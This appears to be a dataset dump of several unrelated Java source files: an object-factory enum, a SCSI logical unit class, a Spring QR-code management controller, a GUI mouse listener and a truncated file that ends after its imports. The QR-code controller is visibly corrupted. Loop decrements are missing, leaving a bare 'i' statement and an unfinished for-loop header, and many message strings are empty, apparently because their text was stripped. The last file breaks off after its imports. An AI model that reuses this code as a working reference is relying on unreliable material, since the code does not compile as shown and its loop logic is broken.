answer
stringlengths 17
10.2M
|
|---|
package org.maker_pattern;
import java.io.File;
import java.io.IOException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
import java.util.Properties;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import org.maker_pattern.animals.Cat;
import org.maker_pattern.animals.Dog;
import org.maker_pattern.animals.DogFamily;
import org.maker_pattern.plants.Ceiba;
import org.maker_pattern.plants.Daisy;
import org.maker_pattern.plants.Plant;
/**
* A very basic, light-weight, pragmatic programmatic alternative to DI frameworks
* Maker Pattern versions:
* 0.1 First version using an external class that included a Map storing the singleton instances and getInstance method, supporting
* singleton and prototype beans
* 0.2 Redesigned the pattern, now everything is in a single class (enum) and uses kind of factory methods for retrieving instances
* This version is also capable of wiring beans inside the same enum and cross enum wiring too, allowing us to separate the beans
* by domain or responsibility in different files and wire them if needed
* 0.3 Added init, start, shutdown, clear and clearAll life cycle methods
* 0.4 Added Properties parameter to getInstance method for supporting initialization properties
* 0.5 Removed init method as it was not really useful
* 0.6 Added Maker Hook feature
* 0.7 Added Maker Hook search inside jar files
* 0.8 Used urldecode when finding maker hooks to solve blank space and special chars in path bug
* @author Ramiro.Serrato
*
*/
public enum LivingBeingMaker {
/*** Object configuration, definition, wiring ***/
// Pattern: NAME (isSingleton) { createInstance() { <object creation logic > } }
SPARKY_DOG (true) {
@Override
public Dog makeInstance(Properties properties) {
Dog sparky = new Dog();
sparky.setName(properties.getProperty("sparky.name"));
return sparky;
}
},
PINKY_DOG (true) {
@Override
public Dog makeInstance(Properties properties) {
Dog pinky = new Dog();
pinky.setName(properties.getProperty("pinky.name"));
return pinky;
}
},
SPARKY_FAMILY (true) { // A wired object
@Override
public DogFamily makeInstance(Properties properties) {
DogFamily dogFamily = new DogFamily();
dogFamily.setParent1(LivingBeingMaker.<Dog>get(SPARKY_DOG));
dogFamily.setParent2(LivingBeingMaker.<Dog>get(PINKY_DOG));
return dogFamily;
}
},
SIAMESE (false) { @Override public Cat makeInstance(Properties properties) { return new Cat(); } },
LABRADOR (false) { @Override public Dog makeInstance(Properties properties) { return new Dog(); } },
DAISY (false) {
@Override
public Plant makeInstance(Properties properties) {
Daisy daisy = new Daisy();
daisy.setKind(properties.getProperty("daisy_kind"));
return daisy;
}
},
CEIBA (false) {
@Override
public Plant makeInstance(Properties properties) {
Ceiba ceiba = new Ceiba();
ceiba.setAge(new Integer(properties.getProperty("ceiba_age")));
return ceiba;
}
};
static { // here you can define static stuff like properties or xml loaded configuration
findHooks(); // this line is necessary for supporting MakerHook
Properties livingBeingroperties = new Properties();
try { // load plant and animal configuration from xml and properties files
livingBeingroperties.loadFromXML(LivingBeingMaker.class.getResourceAsStream("resources/plant-config.xml"));
livingBeingroperties.load(LivingBeingMaker.class.getResourceAsStream("resources/animal-config.properties"));
} catch (IOException e) {
e.printStackTrace();
throw new IllegalStateException(e.getMessage());
}
properties = livingBeingroperties;
}
public static <T> T get(LivingBeingMaker maker) {
return maker.<T>getInstance(properties);
}
private static void findHooks() {
String packageName = System.getProperty("maker.hooks.package", null);
packageName = (packageName == null) ? LivingBeingMaker.class.getPackage().getName() : packageName; // if the property is not set it will use current package
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
@SuppressWarnings("rawtypes")
Enumeration resources = classLoader.getResources(packageName.replace(".", "/")); // this will allow to reach the jar files content
List<String> classes = new ArrayList<String>();
while (resources.hasMoreElements()) {
URL resource = (URL) resources.nextElement();
String dir = java.net.URLDecoder.decode(resource.getFile(), "UTF-8");
if (resource.getFile().startsWith("file:") && dir.contains("!")) { // it is a jar
String[] split = dir.split("!");
URL jar = new URL(split[0]);
ZipInputStream zip = new ZipInputStream(jar.openStream());
ZipEntry entry = null;
while ((entry = zip.getNextEntry()) != null) {
if (entry.getName().endsWith(".class")) {
String className = entry.getName().replaceAll("[.]class", "").replace('/', '.');
classes.add(className);
}
}
}
else {
File[] files = new File(dir).listFiles();
if(files != null) {
for(File file : files) {
if(!file.isDirectory() && file.getName().endsWith(".class")) {
String className = packageName + '.' + file.getName().substring(0, file.getName().length() - 6);
classes.add(className);
}
}
}
}
}
for(String clazz: classes) {
Class<?> aHook = classLoader.loadClass(clazz);
if(!aHook.isInterface() && MakerHook.class.isAssignableFrom(aHook)) {
Class.forName(aHook.getName(), true, classLoader); // load and initialize
}
}
} catch (Exception e) {
throw new IllegalStateException("Error while trying to load MakerHook components", e);
}
}
protected static Properties properties;
private LivingBeingMaker(Boolean singleton) {
this.singleton = singleton;
}
private final Boolean singleton;
private volatile Object instance;
protected MakerHook hook;
public Boolean isSingleton() {
return singleton;
}
public void setHook(MakerHook hook) {
this.hook = hook;
}
/**
* This is the method that handles the creation of instances based on the flag singleton it
* will create a singleton or a prototype instance, it also makes sure that the hook is used for the instance creation
* if a hook is set for this Maker instance
* @param properties A Properties object that may contain information needed for the instance creation
* @return The instance as a generic Object
*/
@SuppressWarnings("unchecked")
protected <T> T getInstance(Properties properties) {
T localInstance = (T) instance;
if (singleton) {
if (instance == null) {
synchronized (this) {
if (instance == null) {
instance = (hook != null) ? hook.makeInstance(properties) : this.makeInstance(properties);
localInstance = (T) instance;
start(localInstance);
}
}
}
}
else {
localInstance = (T) (hook != null ? hook.makeInstance(properties) : this.makeInstance(properties));
start(localInstance);
}
return localInstance;
}
/**
* Similar to {@link #init()} method, the difference is that the logic here will be executed each time an instance
* is created, for prototypes that means every time the getInstance method is called, for singletons only the first
* time the getInstance method is called
*/
protected void start(Object instance) {
;
}
/**
* You can put some shutdown logic here, this method can be overriden inside the enum value definition.
* Shutdown logic can be: external resources release, clear chache, etc.
*/
public void shutdown() throws Exception {
;
}
/**
* This method will call the {@link #shutdown()} method for all the enums in the maker
* @throws Exception
*/
public void shutdownAll() throws Exception {
for (LivingBeingMaker value : LivingBeingMaker.values()) {
value.shutdown();
}
}
/**
* This method will set the instance to null, useful for reseting singleton instances
*/
public void clear() {
instance = null;
}
/**
* Will call the {@link #clear()} method for all the enums defined in the maker
*/
public void clearAll() {
for (LivingBeingMaker value : LivingBeingMaker.values()) {
value.clear();
}
}
/**
* This method contains the logic for creating the instance, it receives a Properties
* object as a parameter that may contain initial properties for creating the instances
* @param properties a Properties object
* @return The created instance as an Object
*/
protected abstract Object makeInstance(Properties properties);
/**
* Interface for creating MakerHooks that are useful for overriding instance creation logic
* for example if your main Maker factory is in a library and you need to override it in your application
*/
public static interface MakerHook {
public Object makeInstance(Properties properties);
}
}
|
package org.jscsi.scsi.lu;
import java.nio.ByteBuffer;
import org.apache.log4j.Logger;
import org.jscsi.scsi.protocol.inquiry.StaticInquiryDataRegistry;
import org.jscsi.scsi.protocol.mode.StaticModePageRegistry;
import org.jscsi.scsi.tasks.buffered.BufferedTaskFactory;
import org.jscsi.scsi.tasks.management.DefaultTaskManager;
import org.jscsi.scsi.tasks.management.DefaultTaskSet;
import org.jscsi.scsi.tasks.management.TaskSet;
// TODO: Describe class or interface
public class BufferedLogicalUnit extends AbstractLogicalUnit
{
private static Logger _logger = Logger.getLogger(TaskSet.class);
public BufferedLogicalUnit(ByteBuffer store, int blockSize, int taskThreads, int queueDepth)
{
super();
TaskSet taskSet = new DefaultTaskSet(queueDepth);
this.setTaskSet(taskSet);
this.setTaskManager(new DefaultTaskManager(taskThreads, taskSet));
this.setTaskFactory(new BufferedTaskFactory(store, blockSize, new StaticModePageRegistry(),
new StaticInquiryDataRegistry()));
}
}
|
package controller;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
//import com.sun.org.apache.regexp.internal.RE;
import form.QRCodeGenerateForm;
import model.machine.Insight;
import model.qrcode.PreBindCodeUID;
import model.qrcode.QRCode;
import org.apache.shiro.authz.annotation.RequiresAuthentication;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;
import pagination.DataTablePage;
import pagination.DataTableParam;
import pagination.MobilePage;
import pagination.MobilePageParam;
import service.GoodsService;
import service.MachineService;
import service.QRCodeService;
import service.UploadService;
import utils.*;
import vo.goods.GoodsModelVo;
import vo.machine.IdleMachineVo;
import vo.qrcode.PreBindVO;
import vo.qrcode.QRCodeVo;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.sql.Timestamp;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@CrossOrigin
@RestController
@RequestMapping("/qrcode")
public class QRCodeController {
private Logger logger = LoggerFactory.getLogger(QRCodeController.class);
@Autowired
private QRCodeService qRCodeService;
@Autowired
private GoodsService goodsService;
@Autowired
private MachineService machineService;
@Autowired
private UploadService uploadService;
@RequiresAuthentication
@RequestMapping(method = RequestMethod.GET, value = "/create")
public ModelAndView create() {
ModelAndView view = new ModelAndView();
view.setViewName("/backend/qrcode/create");
return view;
}
@RequiresAuthentication
@ResponseBody
@RequestMapping(method = RequestMethod.POST, value = "/create")
public ResultData create(QRCodeGenerateForm form) {
ResultData result = new ResultData();
String modelId = form.getModelId();
Map<String, Object> condition = new HashMap<>();
condition.put("modelId", modelId);
if (StringUtils.isEmpty(modelId)) {
logger.error("Empty Model_id Parameter: " + modelId);
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
return result;
}
ResultData response = goodsService.fetchModel(condition);
if (response.getResponseCode() != ResponseCode.RESPONSE_OK) {
logger.error("Incorrect Model_id Parameter: " + modelId);
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
return result;
}
GoodsModelVo vo = ((List<GoodsModelVo>) response.getData()).get(0);
String batch = new StringBuffer(vo.getModelCode()).append(form.getBatchNo()).toString();
response = qRCodeService.create(form.getGoodsId(), form.getModelId(), batch, form.getNum());
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
String filename = generateZip(batch);
result.setData(filename);
return result;
}
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("Sorry, the qrcodes are not generated as expected, please try agin.");
return result;
}
private String generateZip(String batchNo) {
if (StringUtils.isEmpty(batchNo)) {
logger.info("The request with no specified batchNo cannot be executed");
return "";
}
Map<String, Object> condition = new HashMap<>();
condition.put("batchNo", batchNo);
ResultData response = qRCodeService.fetchByBatch(condition);
if (response.getResponseCode() != ResponseCode.RESPONSE_OK) {
logger.info("The request with batchNo: " + batchNo + " cannot be executed");
return "";
}
// read all qrcodes in the batch, generate a zip file
String base = PathUtil.retrivePath();
File directory = new File(new StringBuffer(base).append("/material/zip").toString());
if (!directory.exists()) {
directory.mkdirs();
}
String tempSerial = IDGenerator.generate("ZIP");
File zip = new File(
new StringBuffer(base).append("/material/zip/").append(tempSerial).append(".zip").toString());
if (!zip.exists()) {
try {
zip.createNewFile();
} catch (IOException e) {
logger.error(e.getMessage());
return "";
}
}
response = qRCodeService.fetch(condition);
if (response.getResponseCode() != ResponseCode.RESPONSE_OK) {
logger.error(response.getDescription());
}
List<QRCodeVo> list = (List<QRCodeVo>) response.getData();
File[] files = new File[list.size()];
for (int i = 0; i < list.size(); i++) {
File file = new File(new StringBuffer(PathUtil.retrivePath()).append(list.get(i).getPath()).toString());
files[i] = file;
}
boolean status = ZipUtil.zip(zip, files);
if (status == true) {
logger.info("");
} else {
logger.error("");
}
return tempSerial;
}
@ResponseBody
@RequestMapping(method = RequestMethod.GET, value = "/download/{filename}")
public void download(@PathVariable("filename") String filename, HttpServletResponse response) {
File file = null;
if (filename.startsWith("ZIP")) {
filename = filename + ".zip";
file = new File(PathUtil.retrivePath() + "/material/zip/" + filename);
}
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
bis = new BufferedInputStream(new FileInputStream(file));
response.setCharacterEncoding("UTF-8");
response.setContentType("application/octet-stream");
response.setHeader("Content-disposition", "attachment; filename=" + filename);
bos = new BufferedOutputStream(response.getOutputStream());
byte[] buff = new byte[2048];
int bytesRead;
while (-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
bos.write(buff, 0, bytesRead);
}
bos.flush();
} catch (FileNotFoundException e) {
logger.error(e.getMessage());
} catch (UnsupportedEncodingException e) {
logger.error(e.getMessage());
} catch (IOException e) {
logger.error(e.getMessage());
} finally {
try {
if (bis != null) {
bis.close();
}
if (bos != null) {
bos.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
@RequestMapping(method = RequestMethod.GET, value = "/batch")
public ModelAndView qrBatch() {
ModelAndView view = new ModelAndView();
view.setViewName("/backend/qrcode/batch");
return view;
}
@ResponseBody
@RequestMapping(method = RequestMethod.GET, value = "/batch/available")
public ResultData batch(String goodsId, String modelId) {
ResultData result = new ResultData();
Map<String, Object> condition = new HashMap<>();
if (!StringUtils.isEmpty(goodsId)) {
condition.put("goodsId", goodsId);
}
if (!StringUtils.isEmpty(modelId)) {
condition.put("modelId", modelId);
}
ResultData response = qRCodeService.fetchByBatch(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
result.setData(response.getData());
} else {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
result.setDescription("No batch available");
}
return result;
}
@RequestMapping(method = RequestMethod.GET, value = "/overview")
public ModelAndView overview() {
ModelAndView view = new ModelAndView();
view.setViewName("/backend/qrcode/overview");
return view;
}
@ResponseBody
@RequestMapping(method = RequestMethod.POST, value = "/list")
public DataTablePage<QRCodeVo> list(DataTableParam param) {
DataTablePage<QRCodeVo> result = new DataTablePage<>(param);
if (StringUtils.isEmpty(param)) {
return result;
}
Map<String, Object> condition = new HashMap<>();
condition.put("delivered", false);
ResultData response = qRCodeService.fetch(condition, param);
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
result = (DataTablePage<QRCodeVo>) response.getData();
}
return result;
}
@ResponseBody
@RequestMapping(method = RequestMethod.GET, value = "/free/all")
public ResultData getFreeQrcode() {
ResultData resultData = new ResultData();
Map<String, Object> condition = new HashMap<>();
condition.put("deliverd", false);
condition.put("occupied", false);
ResultData response = qRCodeService.fetch(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
resultData.setData(response.getData());
return resultData;
} else if (response.getResponseCode() == ResponseCode.RESPONSE_ERROR) {
resultData.setResponseCode(ResponseCode.RESPONSE_ERROR);
resultData.setDescription("");
return resultData;
}
return resultData;
}
@ResponseBody
@RequestMapping(method = RequestMethod.POST, value = "/delivered")
public DataTablePage<QRCodeVo> delivered(DataTableParam param) {
DataTablePage<QRCodeVo> result = new DataTablePage<>(param);
if (StringUtils.isEmpty(param)) {
return result;
}
Map<String, Object> condition = new HashMap<>();
condition.put("delivered", true);
ResultData response = qRCodeService.fetch(condition, param);
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
result = (DataTablePage<QRCodeVo>) response.getData();
}
return result;
}
@RequestMapping(method = RequestMethod.POST, value = "/deliver")
public ResultData deliver(String codeId) {
ResultData result = new ResultData();
if (StringUtils.isEmpty(codeId)) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("code id is neccessary for deliver action");
return result;
}
Map<String, Object> condition = new HashMap<>();
condition.put("codeId", codeId);
ResultData response = qRCodeService.fetch(condition);
if (response.getResponseCode() != ResponseCode.RESPONSE_OK) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("code id: " + codeId + " is invalid");
return result;
}
QRCode code = new QRCode();
code.setCodeId(codeId);
code.setDelivered(true);
code.setDeliverAt(new Timestamp(System.currentTimeMillis()));
response = qRCodeService.deliver(code);
if (response.getResponseCode() != ResponseCode.RESPONSE_OK) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("code id: " + codeId + " deliver failed");
return result;
}
result.setData(code);
return result;
}
@RequestMapping(method = RequestMethod.POST, value = "/deliver/range")
public ModelAndView deliver(String batchNo, String fromValue, String endValue) {
ModelAndView view = new ModelAndView();
if (StringUtils.isEmpty(batchNo) || StringUtils.isEmpty(fromValue) || StringUtils.isEmpty(endValue)) {
view.setViewName("redirect:/qrcode/overview");
return view;
}
Map<String, Object> condition = new HashMap<>();
condition.put("batchNo", batchNo.trim());
ResultData response = qRCodeService.fetch(condition);
if (response.getResponseCode() != ResponseCode.RESPONSE_OK) {
view.setViewName("redirect:/qrcode/overview");
return view;
}
List<QRCodeVo> list = (List<QRCodeVo>) response.getData();
for (int i = 0; i < list.size(); i++) {
QRCodeVo current = list.get(i);
if (!current.getValue().equals(fromValue.trim())) {
list.remove(i);
i
} else {
break;
}
}
for (int i = list.size() - 1; i >= 0; i
QRCodeVo current = list.get(i);
if (!current.getValue().equals(endValue.trim())) {
list.remove(i);
} else {
break;
}
}
for (QRCodeVo item : list) {
QRCode code = new QRCode();
code.setCodeId(item.getCodeId());
code.setDelivered(true);
code.setDeliverAt(new Timestamp(System.currentTimeMillis()));
response = qRCodeService.deliver(code);
if (response.getResponseCode() != ResponseCode.RESPONSE_OK) {
logger.error("deliver qrcode error. code id: " + item.getCodeId());
}
}
view.setViewName("redirect:/qrcode/overview");
return view;
}
@RequestMapping(method = RequestMethod.GET, value = "/prebind")
public ModelAndView prebind() {
ModelAndView view = new ModelAndView();
view.setViewName("/backend/qrcode/prebind");
return view;
}
@RequestMapping(method = RequestMethod.GET, value = "/prebind/overview")
public ModelAndView prebindOverview() {
ModelAndView view = new ModelAndView();
view.setViewName("/backend/qrcode/prebind_overview");
return view;
}
@RequestMapping(method = RequestMethod.GET, value = "/prebind/unbind")
public ModelAndView unbindPrebind() {
ModelAndView view = new ModelAndView();
view.setViewName("/backend/qrcode/prebind_del");
return view;
}
@RequestMapping(method = RequestMethod.POST, value = "/prebind")
public ResultData prebind(String uid, String codeId) {
ResultData result = new ResultData();
ResultData rs = qRCodeService.fetchPreBindByUid(uid);
if (rs.getResponseCode() == ResponseCode.RESPONSE_NULL) {
PreBindCodeUID pb = new PreBindCodeUID(uid, codeId);
ResultData response = qRCodeService.prebind(pb);
result.setResponseCode(response.getResponseCode());
if (result.getResponseCode() == ResponseCode.RESPONSE_OK) {
Map<String, Object> condition = new HashMap<>();
condition.put("uid", uid);
response = machineService.fetchIdleMachine(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
IdleMachineVo vo = ((List<IdleMachineVo>) response.getData()).get(0);
condition.clear();
condition.put("im_id", vo.getImId());
response = machineService.updateIdleMachine(condition);
}
result.setData(response.getData());
} else if (result.getResponseCode() == ResponseCode.RESPONSE_ERROR) {
result.setDescription(response.getDescription());
}
} else if (rs.getResponseCode() == ResponseCode.RESPONSE_OK) {
result.setDescription("UID" + uid + "");
} else {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("");
}
/*
PreBindCodeUID pb = new PreBindCodeUID(uid, codeId);
ResultData response = qRCodeService.prebind(pb);
result.setResponseCode(response.getResponseCode());
if (result.getResponseCode() == ResponseCode.RESPONSE_OK) {
Map<String, Object> condition = new HashMap<>();
condition.put("uid", uid);
response = machineService.fetchIdleMachine(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
IdleMachineVo vo = ((List<IdleMachineVo>) response.getData()).get(0);
condition.clear();
condition.put("im_id", vo.getImId());
response = machineService.updateIdleMachine(condition);
}
result.setData(response.getData());
} else if (result.getResponseCode() == ResponseCode.RESPONSE_ERROR) {
result.setDescription(response.getDescription());
}*/
return result;
}
@RequestMapping(method = RequestMethod.POST, value = "/prebind/list")
public DataTablePage<PreBindVO> getPreBindList(DataTableParam param) {
DataTablePage<PreBindVO> result = new DataTablePage<>(param);
Map<String, Object> condition = new HashMap<>();
ResultData response = qRCodeService.fetchPreBind(condition, param);
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
result = (DataTablePage<PreBindVO>) response.getData();
}
return result;
}
@RequestMapping(method = RequestMethod.POST, value = "/prebind/list/mobile")
public MobilePage<PreBindVO> getPreBindList(MobilePageParam param) {
MobilePage<PreBindVO> result = new MobilePage<>();
Map<String, Object> condition = new HashMap<>();
condition.put("blockFlag", 0);
ResultData response = qRCodeService.fetchPreBind(condition, param);
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
result = (MobilePage<PreBindVO>) response.getData();
}
return result;
}
@RequestMapping(method = RequestMethod.GET, value = "/prebind/list")
public ResultData getPreBindList(@RequestParam(required = false) String param) {
ResultData result = new ResultData();
Map<String, Object> condition = new HashMap<>();
if (!StringUtils.isEmpty(param)) {
JSONObject paramJson = JSON.parseObject(param);
if (!StringUtils.isEmpty(paramJson.get("startDate"))) {
condition.put("startTime", paramJson.getString("startDate"));
}
if (!StringUtils.isEmpty(paramJson.get("endDate"))) {
condition.put("endTime", paramJson.getString("endDate"));
}
}
condition.put("blockFlag", 0);
ResultData response = qRCodeService.fetchPreBind(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_NULL) {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
} else if (response.getResponseCode() == ResponseCode.RESPONSE_ERROR) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("");
} else {
result.setData(response.getData());
}
return result;
}
@CrossOrigin
@RequestMapping(method = RequestMethod.GET, value = "/status/list")
public ResultData QRCodeStatus() {
ResultData result = new ResultData();
Map<String, Object> condition = new HashMap<>();
ResultData response = qRCodeService.fetchQrcodeStatus(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_NULL) {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
} else if (response.getResponseCode() == ResponseCode.RESPONSE_ERROR) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("");
} else {
result.setData(response.getData());
}
return result;
}
@RequestMapping(method = RequestMethod.GET, value = "/{codeId}/insight")
public ResultData insight(@PathVariable("codeId") String codeId) {
ResultData result = new ResultData();
Map<String, Object> condition = new HashMap<>();
condition.put("codeId", codeId);
ResultData response = qRCodeService.fetchInsight(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_OK) {
result.setData(response.getData());
} else if (response.getResponseCode() == ResponseCode.RESPONSE_NULL) {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
result.setDescription(":" + codeId + "");
} else {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription(":" + codeId + "");
}
return result;
}
@RequestMapping(method = RequestMethod.GET, value = "/insight")
public ModelAndView insight() {
ModelAndView view = new ModelAndView();
view.setViewName("/backend/qrcode/insight");
return view;
}
@RequestMapping(method = RequestMethod.POST, value = "/insight/upload")
public ResultData upload(@RequestParam MultipartFile file) {
ResultData result = new ResultData();
String absolutePath = this.getClass().getClassLoader().getResource("").getPath();
int index = absolutePath.indexOf("/WEB-INF/classes/");
String basePath = absolutePath.substring(0, index);
ResultData response = uploadService.upload(file, basePath);
if (response.getResponseCode() == ResponseCode.RESPONSE_ERROR) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("!");
return result;
} else if (response.getResponseCode() == ResponseCode.RESPONSE_NULL) {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
return result;
} else {
result.setData(response.getData());
return result;
}
}
@RequestMapping(method = RequestMethod.POST, value = "/insight/upload/{codeId}")
public ResultData upload(@PathVariable("codeId") String codeId, @RequestParam("filePath") String filepath) {
ResultData result = new ResultData();
ResultData response;
String[] filepathList = filepath.split(";");
for (String path : filepathList) {
Insight insight = new Insight();
insight.setPath(path);
insight.setMachineId(codeId);
response = qRCodeService.createInsight(insight);
if (response.getResponseCode() != ResponseCode.RESPONSE_OK) {
result.setResponseCode(response.getResponseCode());
return result;
}
}
return result;
}
@RequestMapping(method = RequestMethod.POST, value = "/check")
public ResultData check(String candidate) {
ResultData result = new ResultData();
if (StringUtils.isEmpty(candidate)) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("");
return result;
}
Map<String, Object> condition = new HashMap<>();
condition.put("search", new StringBuffer(candidate).append("%").toString());
ResultData response = qRCodeService.fetch(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_ERROR) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription(", ");
return result;
}
if (response.getResponseCode() == ResponseCode.RESPONSE_NULL) {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
result.setDescription("" + candidate + "");
return result;
}
List<QRCodeVo> list = (List<QRCodeVo>) response.getData();
if (list.size() > 1) {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
result.setDescription("");
return result;
} else {
condition.put("codeId", candidate);
response = qRCodeService.fetchPreBind(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_NULL) {
QRCodeVo vo = list.get(0);
result.setData(vo);
} else {
result.setDescription("" + candidate + "");
}
}
return result;
}
@RequestMapping(method = RequestMethod.POST, value = "/prebind/check")
public ResultData prebindCheck(String candidate) {
ResultData result = new ResultData();
if (StringUtils.isEmpty(candidate)) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("");
return result;
}
Map<String, Object> condition = new HashMap<>();
condition.put("search", new StringBuilder(candidate).append("%").toString());
ResultData response = qRCodeService.fetchPreBind(condition);
if (response.getResponseCode() == ResponseCode.RESPONSE_NULL) {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
result.setDescription("" + candidate + "");
return result;
}
List<PreBindVO> list = (List<PreBindVO>) response.getData();
if (list.size() > 1) {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
result.setDescription("");
return result;
}
PreBindVO preBindVO = list.get(0);
result.setData(preBindVO);
return result;
}
@RequestMapping(method = RequestMethod.POST, value = "/prebind/unbind/{codeId}")
public ResultData deletePrebind(@PathVariable String codeId) {
ResultData result = new ResultData();
ResultData response = qRCodeService.deletePrebindByQrcode(codeId);
if (response.getResponseCode() == ResponseCode.RESPONSE_NULL) {
result.setResponseCode(ResponseCode.RESPONSE_NULL);
} else if (response.getResponseCode() == ResponseCode.RESPONSE_ERROR) {
result.setResponseCode(ResponseCode.RESPONSE_ERROR);
result.setDescription("!");
} else {
result.setData(response.getData());
logger.info("delete prebind using codeId: " + codeId);
}
return result;
}
}
|
package org.objectweb.proactive.ic2d.jmxmonitoring.figure.listener;
import java.util.Iterator;
import org.eclipse.draw2d.MouseEvent;
import org.eclipse.draw2d.MouseListener;
import org.eclipse.draw2d.MouseMotionListener;
import org.eclipse.gef.ui.actions.ActionRegistry;
import org.eclipse.gef.ui.actions.ZoomInAction;
import org.eclipse.gef.ui.actions.ZoomOutAction;
import org.eclipse.jface.action.IAction;
import org.objectweb.proactive.ic2d.jmxmonitoring.action.KillVMAction;
import org.objectweb.proactive.ic2d.jmxmonitoring.action.RefreshJVMAction;
import org.objectweb.proactive.ic2d.jmxmonitoring.action.StopMonitoringAction;
import org.objectweb.proactive.ic2d.jmxmonitoring.data.RuntimeObject;
import org.objectweb.proactive.ic2d.jmxmonitoring.dnd.DragAndDrop;
import org.objectweb.proactive.ic2d.jmxmonitoring.extpoint.IActionExtPoint;
import org.objectweb.proactive.ic2d.jmxmonitoring.view.MonitoringView;
public class JVMListener implements MouseListener, MouseMotionListener {
private ActionRegistry registry;
private RuntimeObject jvm;
private DragAndDrop dnd;
public JVMListener(RuntimeObject jvm, MonitoringView monitoringView) {
this.registry = monitoringView.getGraphicalViewer().getActionRegistry();
this.dnd = monitoringView.getDragAndDrop();
this.jvm = jvm;
}
public void mouseDoubleClicked(MouseEvent me) { /* Do nothing */
}
public void mousePressed(MouseEvent me) {
if (me.button == 1) {
dnd.reset();
// for(Iterator<IAction> action = (Iterator<IAction>) registry.getActions() ; action.hasNext() ;) {
// IAction act = action.next();
// if (act instanceof IActionExtPoint) {
// IActionExtPoint extensionAction = (IActionExtPoint) act;
// extensionAction.setActiveSelect(this.jvm);
} else if (me.button == 3) {
final Iterator it = registry.getActions();
while (it.hasNext()) {
final IAction act = (IAction) it.next();
final Class<?> actionClass = act.getClass();
if (actionClass == RefreshJVMAction.class) {
RefreshJVMAction refreshJVMAction = (RefreshJVMAction) act;
refreshJVMAction.setJVM(jvm);
refreshJVMAction.setEnabled(true);
} else if (actionClass == StopMonitoringAction.class) {
StopMonitoringAction stopMonitoringAction = (StopMonitoringAction) act;
stopMonitoringAction.setObject(jvm);
stopMonitoringAction.setEnabled(true);
} else if (actionClass == KillVMAction.class) {
KillVMAction killVMAction = (KillVMAction) act;
killVMAction.setVM(jvm);
killVMAction.setEnabled(true);
} else if (act instanceof IActionExtPoint) {
((IActionExtPoint) act).setAbstractDataObject(this.jvm);
} else if (act instanceof ZoomOutAction ||
act instanceof ZoomInAction) {
act.setEnabled(true);
} else {
act.setEnabled(false);
}
}
}
}
public void mouseReleased(MouseEvent me) {
dnd.reset();
}
public void mouseEntered(MouseEvent me) {
if (dnd.getSource() != null) {
dnd.refresh(null);
}
}
public void mouseExited(MouseEvent me) {
if (dnd.getSource() != null) {
dnd.refresh(null);
}
}
public void mouseDragged(MouseEvent me) { /* Do nothing */
}
public void mouseHover(MouseEvent me) { /* Do nothing */
}
public void mouseMoved(MouseEvent me) { /* Do nothing */
}
}
|
package io.subutai.core.hubmanager.impl.proccessors;
import java.io.IOException;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.UnrecoverableKeyException;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.ws.rs.core.Response;
import org.bouncycastle.openpgp.PGPException;
import org.bouncycastle.openpgp.PGPPublicKeyRing;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.apache.cxf.jaxrs.client.WebClient;
import org.apache.http.HttpStatus;
import io.subutai.common.peer.EnvironmentId;
import io.subutai.common.peer.PeerException;
import io.subutai.common.security.crypto.pgp.PGPKeyUtil;
import io.subutai.core.hubmanager.api.HubPluginException;
import io.subutai.core.hubmanager.api.StateLinkProccessor;
import io.subutai.core.hubmanager.impl.ConfigManager;
